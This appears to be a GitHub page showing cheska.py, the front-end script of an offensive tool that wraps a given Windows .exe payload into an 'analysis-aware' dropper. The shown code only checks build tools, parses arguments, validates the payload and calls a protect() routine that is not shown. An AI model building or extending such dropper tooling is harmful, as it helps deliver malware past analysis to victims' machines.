-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcheska.py
More file actions
executable file
·71 lines (52 loc) · 1.97 KB
/
Copy pathcheska.py
File metadata and controls
executable file
·71 lines (52 loc) · 1.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# Author: Nemuel Wainaina
from colorama import init, Fore
init()
def perform_tool_checks():
import shutil
tools = ['x86_64-w64-mingw32-windres', 'x86_64-w64-mingw32-g++', 'strip']
for tool in tools:
if not shutil.which(tool):
print(f'{Fore.RED}[!]{Fore.RESET} {tool} not found')
print(f'[i] Cheska requires MinGW-w64 and access to the strip command :)')
exit(1)
def parse_args():
import argparse
parser = argparse.ArgumentParser(description='Cheska - Smart Dropper Builder')
parser.add_argument('-p', '--payload', required=True, help='Path to the payload (.exe file)')
parser.add_argument('-o', '--output', help='Path to save the generated dropper')
return parser.parse_args()
def is_payload_valid(payload_file):
import os, pefile
if not os.path.exists(payload_file):
print(f'{Fore.RED}[!] {payload_file} not found. No such file!{Fore.RESET}')
return False
if not payload_file.lower().endswith('.exe'):
return False
try:
pe = pefile.PE(payload_file)
return True
except pefile.PEFormatError:
return False
def print_banner():
from pyfiglet import figlet_format
name = figlet_format('CHESKA').rstrip()
desc = f' > Builder for analysis-aware Windows droppers'
auth = f' > Author: Nemuel Wainaina (nemuelwainaina@proton.me)'
print(f'{Fore.GREEN}{name}{Fore.RESET}', end='\n\n')
for x in (desc, auth):
print(f'{Fore.GREEN}{x}{Fore.RESET}')
print()
if __name__ == "__main__":
print_banner()
perform_tool_checks()
args = parse_args()
if not is_payload_valid(args.payload):
print(f'{Fore.CYAN}[!] The payload must be a valid EXE file{Fore.RESET}')
exit(1)
from utils import protect
result = ''
if args.output:
result = protect(args.payload, args.output)
else:
result = protect(args.payload)
print(f'{Fore.GREEN}[+] Build complete: {result}{Fore.RESET}')